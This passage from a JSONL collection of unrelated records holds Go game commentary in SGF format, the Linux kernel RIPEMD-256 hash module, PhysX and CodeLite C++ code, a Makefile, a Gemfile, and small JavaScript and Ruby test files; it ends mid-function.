will allow White to defend the upper left, so Black will fall short on territory. It will be a very close game, but a lost one nonetheless.\n\nWhen assessing the game, AlphaGo assumes that both sides are as strong as it is capable of modeling, and that blunders on either side would be rare. In this sense, AlphaGo is extremely \"honourable\" in its evaluation.]))\n(;B[kk]C[It looks as if this move may also work, but...]\n;W[ll]\n;B[ml]\n;W[jk]C[...White's earlier turn enables this atari, sealing Black in completely. Black cannot afford to play the ko: not only would this be a flower-viewing ko for White, but White has far more ko threats.]\n;B[kj]\n;W[kl]\n;B[jl]\n;W[jm]\n;B[ik]\n;W[kn]C[Even if Black can find a way to live locally, the bottom side will shortly be in great danger as well.]))\n(;W[hi]C[Black hopes that White will simply capture.]\n;B[fn]C[Now there is time to live on the left.]\n;W[fm]\n;B[ci]\n;W[bi]\n;B[bk]\n;W[lk]C[Even if White cuts boldly through...]\n;B[kk]\n;W[ll]\n;B[ml]C[Black can push, then run out with the knight's move.]\n;W[lm]\n;B[jm]C[White is not strong enough to do any serious harm to Black's position.])\n(;W[bo]C[What if White chooses to capture the three stones on the left instead?]\n;B[hi]C[Of course, Black will claim the three in the centre. White cannot run out.]\n(;W[gi]\n;B[ij]\n;W[ie]LB[kg:A]C[Now that the potential cut at A has disappeared, White must secure life for the group at the top.]\n;B[ce]C[However, since there are still gaps on White's left side, Black has the right to attach and live inside White's area.]\n;W[de]\n;B[bf]\n;W[cg]\n;B[cd]LB[ci:A]C[If Black does live, White will fall short on territory, but the aji of the attachment at A prevents White from killing the invader. There are many variations to explore, but no matter what, White will have to give up something.])\n(;W[ij]C[If White does escape...]\n;B[gi]C[Black's ingenious turn at 2 forces White's hand.]\n;W[ik]C[White must extend.]\n;B[fi]LB[fe:A][ci:B][hl:C]C[After Black connects, White still has weak points at A, B, and C, and no way to fix them all at once.])))\n(;W[bo]C[White is not strong enough to kill Black on the left.]\n;B[dn]\n;W[co]\n;B[fm]\n;W[en]\n;B[fi]\n;W[gi]\n;B[gm]C[Now White is split into two groups, one of which must die.]))\n(;B[cl]C[If Black connects...]\n;W[el]C[White simply turns.]\n;B[ek]\n;W[fk]\n;B[ej]\n;W[gl]LB[mj:B][jq:A]C[After White reinforces with the tiger's mouth, Black's group on the left still needs to make life, after which Black will be hard-pressed to deal with the two potential cuts at A and B. \n]))\n(;B[ob]\n;W[pb]\n;B[od]\n;W[oc]\n;B[la]C[Although Black can prevent White from making two eyes at the top...]\n;W[kf]C[...this sharp attachment aims at the cutting point, seamlessly producing a second eye in the middle.]\n;B[kg]\n;W[ke]\n;B[je]\n;W[lg]C[As long as this aji remains, White will have no trouble living.]))\n(;B[ne]LB[oe:A]C[I asked Gu Li and Zhou Ruiyang about White's crosscut at A, and they quickly laid out the following variation.]\n;W[oe]\n;B[pe]\n;W[od]\n;B[me]\n;W[qe]\n;B[pf]\n;W[re]\n;B[rf]\n;W[sf]\n;B[sg]\n;W[se]\n;B[pb]\n;W[ob]\n;B[qa]\n;W[rg]\n;B[qh]\n;W[ri]\n;B[rh]\n;W[sh]\n;B[qi]\n;W[rj]\n;B[qg]\n;W[sg]LB[he:A]C[The sequence through here seems to be a one-way street. Although White can only get out as far as the second line, Black's potential on the right side has disappeared. Moreover, with White's jump at A and cutting stone in the centre, Black will be hard-pressed to make much profit there. This looks far too risky for Black.]))\n(;B[hd]C[Suppose Black simply attaches.]\n;W[id]\n;B[ie]\n;W[ic]\n;B[gd]\n;W[kb]LB[pc:A]TR[kb]C[This would be the normal variation, but now the marked knight’s move also serves to strengthen the top side. White's earlier turn at A has become quite a good move, and Black's rapid opening has turned into a dull one. This probably explains why Black eschewed the normal way of playing.]))\n(;W[re]C[Suppose White were to hane.]\n;B[rc]\n;W[qe]\n;B[ob]\n;W[oc]\n;B[nb]\n;W[pf]\n;B[mc]\n;W[md]\n;B[lc]\n;W[ql]\n;B[qn]\n;W[pj]\n;B[lq]C[This bump is a pragmatic way to fix the shape.]\n;W[mp]\n;B[ko]C[The resulting position would look something like this. White's formation on the right looks good, but on closer examination, it becomes apparent that Black is not only doing fine on points, but is also very thick. Is this variation actually good for White?]))\n(;W[pj]C[What happens if White plays a high pincer on the right side?]\n;B[qd]C[Zhou Ruiyang showed one way for Black to respond, starting with the attachment.]\n;W[qc]\n;B[rc]\n;W[qe]\n;B[rd]\n;W[pe]\n;B[re]\n;W[qb]\n;B[qh]LB[pj:A]C[It becomes clear that White A is badly positioned, while Black's stance on the top is not bad at all. This variation fails for White.])\n(;W[qe]C[What if White kicks instead?]\n;B[re]LB[jd:A]C[Since Black already has stone at A, Black can hane and atari directly.]\n;W[rd]\n;B[pe]\n;W[qd]\n;B[pj]LB[jd:A][pf:B]C[The presence of A makes B unimportant, so overall, Black has succeeded in establishing a fast-paced opening.]))\n(;B[bo]C[This would be the more common line of play.]\n;W[bq]\n;B[co]\n;W[er]\n;B[fr]\n;W[eq]\n;B[fq]\n;W[bn]\n;B[ao]\n;W[dq]\n;B[ep]\n;W[cj]C[Black gains outside influence, while White lives in the corner in sente. White concludes with a three-space extension. Generally speaking, while most professionals would slightly prefer this fast-paced opening for White, few would be willing to accept the game line for Black as an alternative.]))\n"} +{"text": "/*\n * Cryptographic API.\n *\n * RIPEMD-256 - RACE Integrity Primitives Evaluation Message Digest.\n *\n * Based on the reference implementation by Antoon Bosselaers, ESAT-COSIC\n *\n * Copyright (c) 2008 Adrian-Ken Rueegsegger \n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the Free\n * Software Foundation; either version 2 of the License, or (at your option)\n * any later version.\n *\n */\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"ripemd.h\"\n\nstruct rmd256_ctx {\n\tu64 byte_count;\n\tu32 state[8];\n\t__le32 buffer[16];\n};\n\n#define K1 RMD_K1\n#define K2 RMD_K2\n#define K3 RMD_K3\n#define K4 RMD_K4\n#define KK1 RMD_K6\n#define KK2 RMD_K7\n#define KK3 RMD_K8\n#define KK4 RMD_K1\n\n#define F1(x, y, z) (x ^ y ^ z)\t\t/* XOR */\n#define F2(x, y, z) (z ^ (x & (y ^ z)))\t/* x ? y : z */\n#define F3(x, y, z) ((x | ~y) ^ z)\n#define F4(x, y, z) (y ^ (z & (x ^ y)))\t/* z ? x : y */\n\n#define ROUND(a, b, c, d, f, k, x, s) { \\\n\t(a) += f((b), (c), (d)) + le32_to_cpup(&(x)) + (k); \\\n\t(a) = rol32((a), (s)); \\\n}\n\nstatic void rmd256_transform(u32 *state, const __le32 *in)\n{\n\tu32 aa, bb, cc, dd, aaa, bbb, ccc, ddd, tmp;\n\n\t/* Initialize left lane */\n\taa = state[0];\n\tbb = state[1];\n\tcc = state[2];\n\tdd = state[3];\n\n\t/* Initialize right lane */\n\taaa = state[4];\n\tbbb = state[5];\n\tccc = state[6];\n\tddd = state[7];\n\n\t/* round 1: left lane */\n\tROUND(aa, bb, cc, dd, F1, K1, in[0], 11);\n\tROUND(dd, aa, bb, cc, F1, K1, in[1], 14);\n\tROUND(cc, dd, aa, bb, F1, K1, in[2], 15);\n\tROUND(bb, cc, dd, aa, F1, K1, in[3], 12);\n\tROUND(aa, bb, cc, dd, F1, K1, in[4], 5);\n\tROUND(dd, aa, bb, cc, F1, K1, in[5], 8);\n\tROUND(cc, dd, aa, bb, F1, K1, in[6], 7);\n\tROUND(bb, cc, dd, aa, F1, K1, in[7], 9);\n\tROUND(aa, bb, cc, dd, F1, K1, in[8], 11);\n\tROUND(dd, aa, bb, cc, F1, K1, in[9], 13);\n\tROUND(cc, dd, aa, bb, F1, K1, in[10], 14);\n\tROUND(bb, cc, dd, aa, F1, K1, in[11], 15);\n\tROUND(aa, bb, cc, dd, F1, K1, in[12], 6);\n\tROUND(dd, aa, bb, cc, F1, K1, in[13], 7);\n\tROUND(cc, dd, aa, bb, F1, K1, in[14], 9);\n\tROUND(bb, cc, dd, aa, F1, K1, in[15], 8);\n\n\t/* round 1: right lane */\n\tROUND(aaa, bbb, ccc, ddd, F4, KK1, in[5], 8);\n\tROUND(ddd, aaa, bbb, ccc, F4, KK1, in[14], 9);\n\tROUND(ccc, ddd, aaa, bbb, F4, KK1, in[7], 9);\n\tROUND(bbb, ccc, ddd, aaa, F4, KK1, in[0], 11);\n\tROUND(aaa, bbb, ccc, ddd, F4, KK1, in[9], 13);\n\tROUND(ddd, aaa, bbb, ccc, F4, KK1, in[2], 15);\n\tROUND(ccc, ddd, aaa, bbb, F4, KK1, in[11], 15);\n\tROUND(bbb, ccc, ddd, aaa, F4, KK1, in[4], 5);\n\tROUND(aaa, bbb, ccc, ddd, F4, KK1, in[13], 7);\n\tROUND(ddd, aaa, bbb, ccc, F4, KK1, in[6], 7);\n\tROUND(ccc, ddd, aaa, bbb, F4, KK1, in[15], 8);\n\tROUND(bbb, ccc, ddd, aaa, F4, KK1, in[8], 11);\n\tROUND(aaa, bbb, ccc, ddd, F4, KK1, in[1], 14);\n\tROUND(ddd, aaa, bbb, ccc, F4, KK1, in[10], 14);\n\tROUND(ccc, ddd, aaa, bbb, F4, KK1, in[3], 12);\n\tROUND(bbb, ccc, ddd, aaa, F4, KK1, in[12], 6);\n\n\t/* Swap contents of \"a\" registers */\n\ttmp = aa; aa = aaa; aaa = tmp;\n\n\t/* round 2: left lane */\n\tROUND(aa, bb, cc, dd, F2, K2, in[7], 7);\n\tROUND(dd, aa, bb, cc, F2, K2, in[4], 6);\n\tROUND(cc, dd, aa, bb, F2, K2, in[13], 8);\n\tROUND(bb, cc, dd, aa, F2, K2, in[1], 13);\n\tROUND(aa, bb, cc, dd, F2, K2, in[10], 11);\n\tROUND(dd, aa, bb, cc, F2, K2, in[6], 9);\n\tROUND(cc, dd, aa, bb, F2, K2, in[15], 7);\n\tROUND(bb, cc, dd, aa, F2, K2, in[3], 15);\n\tROUND(aa, bb, cc, dd, F2, K2, in[12], 7);\n\tROUND(dd, aa, bb, cc, F2, K2, in[0], 12);\n\tROUND(cc, dd, aa, bb, F2, K2, in[9], 15);\n\tROUND(bb, cc, dd, aa, F2, K2, in[5], 9);\n\tROUND(aa, bb, cc, dd, F2, K2, in[2], 11);\n\tROUND(dd, aa, bb, cc, F2, K2, in[14], 7);\n\tROUND(cc, dd, aa, bb, F2, K2, in[11], 13);\n\tROUND(bb, cc, dd, aa, F2, K2, in[8], 12);\n\n\t/* round 2: right lane */\n\tROUND(aaa, bbb, ccc, ddd, F3, KK2, in[6], 9);\n\tROUND(ddd, aaa, bbb, ccc, F3, KK2, in[11], 13);\n\tROUND(ccc, ddd, aaa, bbb, F3, KK2, in[3], 15);\n\tROUND(bbb, ccc, ddd, aaa, F3, KK2, in[7], 7);\n\tROUND(aaa, bbb, ccc, ddd, F3, KK2, in[0], 12);\n\tROUND(ddd, aaa, bbb, ccc, F3, KK2, in[13], 8);\n\tROUND(ccc, ddd, aaa, bbb, F3, KK2, in[5], 9);\n\tROUND(bbb, ccc, ddd, aaa, F3, KK2, in[10], 11);\n\tROUND(aaa, bbb, ccc, ddd, F3, KK2, in[14], 7);\n\tROUND(ddd, aaa, bbb, ccc, F3, KK2, in[15], 7);\n\tROUND(ccc, ddd, aaa, bbb, F3, KK2, in[8], 12);\n\tROUND(bbb, ccc, ddd, aaa, F3, KK2, in[12], 7);\n\tROUND(aaa, bbb, ccc, ddd, F3, KK2, in[4], 6);\n\tROUND(ddd, aaa, bbb, ccc, F3, KK2, in[9], 15);\n\tROUND(ccc, ddd, aaa, bbb, F3, KK2, in[1], 13);\n\tROUND(bbb, ccc, ddd, aaa, F3, KK2, in[2], 11);\n\n\t/* Swap contents of \"b\" registers */\n\ttmp = bb; bb = bbb; bbb = tmp;\n\n\t/* round 3: left lane */\n\tROUND(aa, bb, cc, dd, F3, K3, in[3], 11);\n\tROUND(dd, aa, bb, cc, F3, K3, in[10], 13);\n\tROUND(cc, dd, aa, bb, F3, K3, in[14], 6);\n\tROUND(bb, cc, dd, aa, F3, K3, in[4], 7);\n\tROUND(aa, bb, cc, dd, F3, K3, in[9], 14);\n\tROUND(dd, aa, bb, cc, F3, K3, in[15], 9);\n\tROUND(cc, dd, aa, bb, F3, K3, in[8], 13);\n\tROUND(bb, cc, dd, aa, F3, K3, in[1], 15);\n\tROUND(aa, bb, cc, dd, F3, K3, in[2], 14);\n\tROUND(dd, aa, bb, cc, F3, K3, in[7], 8);\n\tROUND(cc, dd, aa, bb, F3, K3, in[0], 13);\n\tROUND(bb, cc, dd, aa, F3, K3, in[6], 6);\n\tROUND(aa, bb, cc, dd, F3, K3, in[13], 5);\n\tROUND(dd, aa, bb, cc, F3, K3, in[11], 12);\n\tROUND(cc, dd, aa, bb, F3, K3, in[5], 7);\n\tROUND(bb, cc, dd, aa, F3, K3, in[12], 5);\n\n\t/* round 3: right lane */\n\tROUND(aaa, bbb, ccc, ddd, F2, KK3, in[15], 9);\n\tROUND(ddd, aaa, bbb, ccc, F2, KK3, in[5], 7);\n\tROUND(ccc, ddd, aaa, bbb, F2, KK3, in[1], 15);\n\tROUND(bbb, ccc, ddd, aaa, F2, KK3, in[3], 11);\n\tROUND(aaa, bbb, ccc, ddd, F2, KK3, in[7], 8);\n\tROUND(ddd, aaa, bbb, ccc, F2, KK3, in[14], 6);\n\tROUND(ccc, ddd, aaa, bbb, F2, KK3, in[6], 6);\n\tROUND(bbb, ccc, ddd, aaa, F2, KK3, in[9], 14);\n\tROUND(aaa, bbb, ccc, ddd, F2, KK3, in[11], 12);\n\tROUND(ddd, aaa, bbb, ccc, F2, KK3, in[8], 13);\n\tROUND(ccc, ddd, aaa, bbb, F2, KK3, in[12], 5);\n\tROUND(bbb, ccc, ddd, aaa, F2, KK3, in[2], 14);\n\tROUND(aaa, bbb, ccc, ddd, F2, KK3, in[10], 13);\n\tROUND(ddd, aaa, bbb, ccc, F2, KK3, in[0], 13);\n\tROUND(ccc, ddd, aaa, bbb, F2, KK3, in[4], 7);\n\tROUND(bbb, ccc, ddd, aaa, F2, KK3, in[13], 5);\n\n\t/* Swap contents of \"c\" registers */\n\ttmp = cc; cc = ccc; ccc = tmp;\n\n\t/* round 4: left lane */\n\tROUND(aa, bb, cc, dd, F4, K4, in[1], 11);\n\tROUND(dd, aa, bb, cc, F4, K4, in[9], 12);\n\tROUND(cc, dd, aa, bb, F4, K4, in[11], 14);\n\tROUND(bb, cc, dd, aa, F4, K4, in[10], 15);\n\tROUND(aa, bb, cc, dd, F4, K4, in[0], 14);\n\tROUND(dd, aa, bb, cc, F4, K4, in[8], 15);\n\tROUND(cc, dd, aa, bb, F4, K4, in[12], 9);\n\tROUND(bb, cc, dd, aa, F4, K4, in[4], 8);\n\tROUND(aa, bb, cc, dd, F4, K4, in[13], 9);\n\tROUND(dd, aa, bb, cc, F4, K4, in[3], 14);\n\tROUND(cc, dd, aa, bb, F4, K4, in[7], 5);\n\tROUND(bb, cc, dd, aa, F4, K4, in[15], 6);\n\tROUND(aa, bb, cc, dd, F4, K4, in[14], 8);\n\tROUND(dd, aa, bb, cc, F4, K4, in[5], 6);\n\tROUND(cc, dd, aa, bb, F4, K4, in[6], 5);\n\tROUND(bb, cc, dd, aa, F4, K4, in[2], 12);\n\n\t/* round 4: right lane */\n\tROUND(aaa, bbb, ccc, ddd, F1, KK4, in[8], 15);\n\tROUND(ddd, aaa, bbb, ccc, F1, KK4, in[6], 5);\n\tROUND(ccc, ddd, aaa, bbb, F1, KK4, in[4], 8);\n\tROUND(bbb, ccc, ddd, aaa, F1, KK4, in[1], 11);\n\tROUND(aaa, bbb, ccc, ddd, F1, KK4, in[3], 14);\n\tROUND(ddd, aaa, bbb, ccc, F1, KK4, in[11], 14);\n\tROUND(ccc, ddd, aaa, bbb, F1, KK4, in[15], 6);\n\tROUND(bbb, ccc, ddd, aaa, F1, KK4, in[0], 14);\n\tROUND(aaa, bbb, ccc, ddd, F1, KK4, in[5], 6);\n\tROUND(ddd, aaa, bbb, ccc, F1, KK4, in[12], 9);\n\tROUND(ccc, ddd, aaa, bbb, F1, KK4, in[2], 12);\n\tROUND(bbb, ccc, ddd, aaa, F1, KK4, in[13], 9);\n\tROUND(aaa, bbb, ccc, ddd, F1, KK4, in[9], 12);\n\tROUND(ddd, aaa, bbb, ccc, F1, KK4, in[7], 5);\n\tROUND(ccc, ddd, aaa, bbb, F1, KK4, in[10], 15);\n\tROUND(bbb, ccc, ddd, aaa, F1, KK4, in[14], 8);\n\n\t/* Swap contents of \"d\" registers */\n\ttmp = dd; dd = ddd; ddd = tmp;\n\n\t/* combine results */\n\tstate[0] += aa;\n\tstate[1] += bb;\n\tstate[2] += cc;\n\tstate[3] += dd;\n\tstate[4] += aaa;\n\tstate[5] += bbb;\n\tstate[6] += ccc;\n\tstate[7] += ddd;\n}\n\nstatic int rmd256_init(struct shash_desc *desc)\n{\n\tstruct rmd256_ctx *rctx = shash_desc_ctx(desc);\n\n\trctx->byte_count = 0;\n\n\trctx->state[0] = RMD_H0;\n\trctx->state[1] = RMD_H1;\n\trctx->state[2] = RMD_H2;\n\trctx->state[3] = RMD_H3;\n\trctx->state[4] = RMD_H5;\n\trctx->state[5] = RMD_H6;\n\trctx->state[6] = RMD_H7;\n\trctx->state[7] = RMD_H8;\n\n\tmemset(rctx->buffer, 0, sizeof(rctx->buffer));\n\n\treturn 0;\n}\n\nstatic int rmd256_update(struct shash_desc *desc, const u8 *data,\n\t\t\t unsigned int len)\n{\n\tstruct rmd256_ctx *rctx = shash_desc_ctx(desc);\n\tconst u32 avail = sizeof(rctx->buffer) - (rctx->byte_count & 0x3f);\n\n\trctx->byte_count += len;\n\n\t/* Enough space in buffer? If so copy and we're done */\n\tif (avail > len) {\n\t\tmemcpy((char *)rctx->buffer + (sizeof(rctx->buffer) - avail),\n\t\t data, len);\n\t\tgoto out;\n\t}\n\n\tmemcpy((char *)rctx->buffer + (sizeof(rctx->buffer) - avail),\n\t data, avail);\n\n\trmd256_transform(rctx->state, rctx->buffer);\n\tdata += avail;\n\tlen -= avail;\n\n\twhile (len >= sizeof(rctx->buffer)) {\n\t\tmemcpy(rctx->buffer, data, sizeof(rctx->buffer));\n\t\trmd256_transform(rctx->state, rctx->buffer);\n\t\tdata += sizeof(rctx->buffer);\n\t\tlen -= sizeof(rctx->buffer);\n\t}\n\n\tmemcpy(rctx->buffer, data, len);\n\nout:\n\treturn 0;\n}\n\n/* Add padding and return the message digest. */\nstatic int rmd256_final(struct shash_desc *desc, u8 *out)\n{\n\tstruct rmd256_ctx *rctx = shash_desc_ctx(desc);\n\tu32 i, index, padlen;\n\t__le64 bits;\n\t__le32 *dst = (__le32 *)out;\n\tstatic const u8 padding[64] = { 0x80, };\n\n\tbits = cpu_to_le64(rctx->byte_count << 3);\n\n\t/* Pad out to 56 mod 64 */\n\tindex = rctx->byte_count & 0x3f;\n\tpadlen = (index < 56) ? (56 - index) : ((64+56) - index);\n\trmd256_update(desc, padding, padlen);\n\n\t/* Append length */\n\trmd256_update(desc, (const u8 *)&bits, sizeof(bits));\n\n\t/* Store state in digest */\n\tfor (i = 0; i < 8; i++)\n\t\tdst[i] = cpu_to_le32p(&rctx->state[i]);\n\n\t/* Wipe context */\n\tmemset(rctx, 0, sizeof(*rctx));\n\n\treturn 0;\n}\n\nstatic struct shash_alg alg = {\n\t.digestsize\t=\tRMD256_DIGEST_SIZE,\n\t.init\t\t=\trmd256_init,\n\t.update\t\t=\trmd256_update,\n\t.final\t\t=\trmd256_final,\n\t.descsize\t=\tsizeof(struct rmd256_ctx),\n\t.base\t\t=\t{\n\t\t.cra_name\t =\t\"rmd256\",\n\t\t.cra_flags\t =\tCRYPTO_ALG_TYPE_SHASH,\n\t\t.cra_blocksize\t =\tRMD256_BLOCK_SIZE,\n\t\t.cra_module\t =\tTHIS_MODULE,\n\t}\n};\n\nstatic int __init rmd256_mod_init(void)\n{\n\treturn crypto_register_shash(&alg);\n}\n\nstatic void __exit rmd256_mod_fini(void)\n{\n\tcrypto_unregister_shash(&alg);\n}\n\nmodule_init(rmd256_mod_init);\nmodule_exit(rmd256_mod_fini);\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Adrian-Ken Rueegsegger \");\nMODULE_DESCRIPTION(\"RIPEMD-256 Message Digest\");\nMODULE_ALIAS_CRYPTO(\"rmd256\");\n"} +{"text": "//////////////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////////////\n//\n// copyright : (C) 2008 by Eran Ifrah\n// file name : testclassdlg.h\n//\n// -------------------------------------------------------------------------\n// A\n// _____ _ _ _ _\n// / __ \\ | | | | (_) |\n// | / \\/ ___ __| | ___| | _| |_ ___\n// | | / _ \\ / _ |/ _ \\ | | | __/ _ )\n// | \\__/\\ (_) | (_| | __/ |___| | || __/\n// \\____/\\___/ \\__,_|\\___\\_____/_|\\__\\___|\n//\n// F i l e\n//\n// This program is free software; you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation; either version 2 of the License, or\n// (at your option) any later version.\n//\n//////////////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////////////\n\n#ifndef __testclassdlg__\n#define __testclassdlg__\n\n#include \"testclassbasedlg.h\"\n#include \"entry.h\"\n#include \n#include \"wxStringHash.h\"\n#include \n\nclass IManager;\nclass UnitTestPP;\n\nclass TestClassDlg : public TestClassBaseDlg\n{\n IManager* m_manager;\n UnitTestPP* m_plugin;\n std::unordered_map m_tags;\n\nprotected:\n virtual void OnClassNameUpdated(wxCommandEvent& event);\n // Handlers for TestClassBaseDlg events.\n void OnRefreshFunctions(wxCommandEvent& event);\n void OnUseActiveEditor(wxCommandEvent& event);\n void OnRefreshButtonUI(wxUpdateUIEvent& e);\n void OnCheckAll(wxCommandEvent& e);\n void OnUnCheckAll(wxCommandEvent& e);\n void OnUseFixture(wxCommandEvent& e);\n void OnButtonOk(wxCommandEvent& e);\n void OnShowClassListDialog(wxCommandEvent& e);\n void DoRefreshFunctions(bool reportError = true);\n void EscapeName(wxString& name);\n\npublic:\n /** Constructor */\n TestClassDlg(wxWindow* parent, IManager* mgr, UnitTestPP* plugin);\n virtual ~TestClassDlg();\n wxArrayString GetTestsList();\n\n wxString GetFileName() { return m_textCtrlFileName->GetValue(); }\n\n wxString GetFixtureName() { return m_textCtrlFixtureName->GetValue(); }\n\n void SetClassName(const wxString& clsName);\n\n wxString GetProjectName() { return m_choiceProjects->GetStringSelection(); }\n};\n\n#endif // __testclassdlg__\n"} +{"text": "# This is for a linux system which has C++ installed\n\nCC=c++\n\nall: flicks_derivation flicks_test flicks_motivation\n\techo \"FLICKS DERIVATION\"\n\t./flicks_derivation\n\techo \"FLICKS TEST\"\n\t./flicks_test\n\techo \"FLICKS MOTIVATION\"\n\t./flicks_motivation\n\nflicks_derivation: flicks_derivation.cpp\n\t$(CC) -o flicks_derivation -std=c++14 flicks_derivation.cpp\n\nflicks_test: flicks_test.cpp\n\t$(CC) -o flicks_test -std=c++14 flicks_test.cpp\n\nflicks_motivation: flicks_motivation.cpp\n\t$(CC) -o flicks_motivation -std=c++14 flicks_motivation.cpp\n\nclean: \n\trm -f flicks_derivation flicks_test flicks_motivation\n\n"} +{"text": "---\ntitle: Roles and Policies\n---\n\nComing Soon"} +{"text": "# this sigil is ignored in autogen mode\n# # typed: strong\nclass Foo < Bar\nend\nclass Bar < Foo\nend\n"} +{"text": "source 'https://rubygems.org'\n\ngroup :rake do\n gem 'puppet', '>=3.0.1'\n gem 'rspec-puppet', '>=0.1.3'\n gem 'rake', '>=0.9.2.2'\n gem 'puppet-lint', '>=0.1.12'\n gem 'puppetlabs_spec_helper'\n gem 'puppet-blacksmith', '>=1.0.1'\nend\n"} +{"text": "/// Copyright (c) 2012 Ecma International. All rights reserved. \n/// Ecma International makes this code available under the terms and conditions set\n/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the \n/// \"Use Terms\"). Any redistribution of this code must retain the above \n/// copyright and this notice and otherwise comply with the Use Terms.\n/**\n * @path ch15/15.2/15.2.3/15.2.3.6/15.2.3.6-3-65.js\n * @description Object.defineProperty - value of 'enumerable' property in 'Attributes' is a RegExp Object (8.10.5 step 3.b)\n */\n\n\nfunction testcase() {\n var obj = {};\n var accessed = false;\n\n Object.defineProperty(obj, \"property\", { enumerable: new RegExp() });\n\n for (var prop in obj) {\n if (prop === \"property\") {\n accessed = true;\n }\n }\n return accessed;\n }\nrunTestCase(testcase);\n"} +{"text": "//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions\n// are met:\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above copyright\n// notice, this list of conditions and the following disclaimer in the\n// documentation and/or other materials provided with the distribution.\n// * Neither the name of NVIDIA CORPORATION nor the names of its\n// contributors may be used to endorse or promote products derived\n// from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY\n// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n// OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Copyright (c) 2008-2018 NVIDIA Corporation. All rights reserved.\n// Copyright (c) 2004-2008 AGEIA Technologies, Inc. All rights reserved.\n// Copyright (c) 2001-2004 NovodeX AG. All rights reserved. \n\n#include \"ScSqBoundsManager.h\"\n#include \"ScBodySim.h\"\n#include \"ScShapeSim.h\"\n\nusing namespace physx;\nusing namespace Sc;\n\nSqBoundsManager::SqBoundsManager() :\n\tmShapes\t\t\t(PX_DEBUG_EXP(\"SqBoundsManager::mShapes\")),\n\tmRefs\t\t\t(PX_DEBUG_EXP(\"SqBoundsManager::mRefs\")),\t\t\t\t\n\tmBoundsIndices\t(PX_DEBUG_EXP(\"SqBoundsManager::mBoundsIndices\")),\n\tmRefless\t\t(PX_DEBUG_EXP(\"SqBoundsManager::mRefless\"))\n{\n}\n\nvoid SqBoundsManager::addShape(ShapeSim& shape)\n{\n\tPX_ASSERT(shape.getFlags() & PxShapeFlag::eSCENE_QUERY_SHAPE);\n\tPX_ASSERT(!shape.getBodySim()->usingSqKinematicTarget());\n\tPX_ASSERT(!shape.getBodySim()->isFrozen());\n\n\tconst PxU32 id = mShapes.size();\n\tPX_ASSERT(id == mRefs.size());\n\tPX_ASSERT(id == mBoundsIndices.size());\n\n\tshape.setSqBoundsId(id);\n\n\tmShapes.pushBack(&shape);\n\tmRefs.pushBack(PX_INVALID_U32);\t// PT: TODO: should be INVALID_PRUNERHANDLE but cannot include SqPruner.h\n\tmBoundsIndices.pushBack(shape.getElementID());\n\tmRefless.insert(&shape);\n}\n\t\t\nvoid SqBoundsManager::removeShape(ShapeSim& shape)\n{\n\tconst PxU32 id = shape.getSqBoundsId();\n\tPX_ASSERT(id!=PX_INVALID_U32);\n\n\tif(mRefs[id] == PX_INVALID_U32)\t// PT: TODO: should be INVALID_PRUNERHANDLE but cannot include SqPruner.h\n\t{\n\t\tPX_ASSERT(mRefless.contains(&shape));\n\t\tmRefless.erase(&shape);\n\t}\n\n\tshape.setSqBoundsId(PX_INVALID_U32);\n\tmShapes[id] = mShapes.back();\n\tmBoundsIndices[id] = mBoundsIndices.back();\n\tmRefs[id] = mRefs.back();\n\t\t\n\tif(id+1 != mShapes.size())\n\t\tmShapes[id]->setSqBoundsId(id);\n\n\tmShapes.popBack();\n\tmRefs.popBack();\n\tmBoundsIndices.popBack();\n}\n\nvoid SqBoundsManager::syncBounds(SqBoundsSync& sync, SqRefFinder& finder, const PxBounds3* bounds, PxU64 contextID, const Cm::BitMap& dirtyShapeSimMap)\n{\n\tPX_PROFILE_ZONE(\"Sim.sceneQuerySyncBounds\", contextID);\n\tPX_UNUSED(contextID);\n\n#if PX_DEBUG\n\tfor(PxU32 i=0;iusingSqKinematicTarget());\n\t\tPX_ASSERT(!shape.getBodySim()->isFrozen());\n\t}\n#endif\n\n\tShapeSim*const * shapes = mRefless.getEntries();\n\tfor(PxU32 i=0, size = mRefless.size();igetSqBoundsId();\n\t\tPX_ASSERT(mRefs[id] == PX_INVALID_U32);\t// PT: TODO: should be INVALID_PRUNERHANDLE but cannot include SqPruner.h\n\t\tmRefs[id] = finder.find(static_cast(shapes[i]->getBodySim()->getPxActor()), shapes[i]->getPxShape());\n\t}\n\tmRefless.clear();\n\n\tsync.sync(mRefs.begin(), mBoundsIndices.begin(), bounds, mShapes.size(), dirtyShapeSimMap);\n}\n"} +{"text": "/*\n\tlevels.cc\n\t---------\n*/\n\n#include \"logofwar/levels.hh\"\n\n\nnamespace logofwar\n{\n\ndiagnostic_level current_verbosity = Level_warning;\n\nchar const* const diagnostic_level_names[] =\n{\n\t\"FATAL\",\n\t\"ERROR\",\n\t\"WARNING\",\n\t\"NOTICE\",\n\t\"INFO\",\n\t\"DEBUG\",\n};\n\n}\n"} +{"text": "var eachLimit = function (arr, limit, iterator, callback) {\n callback = callback || function () {};\n if 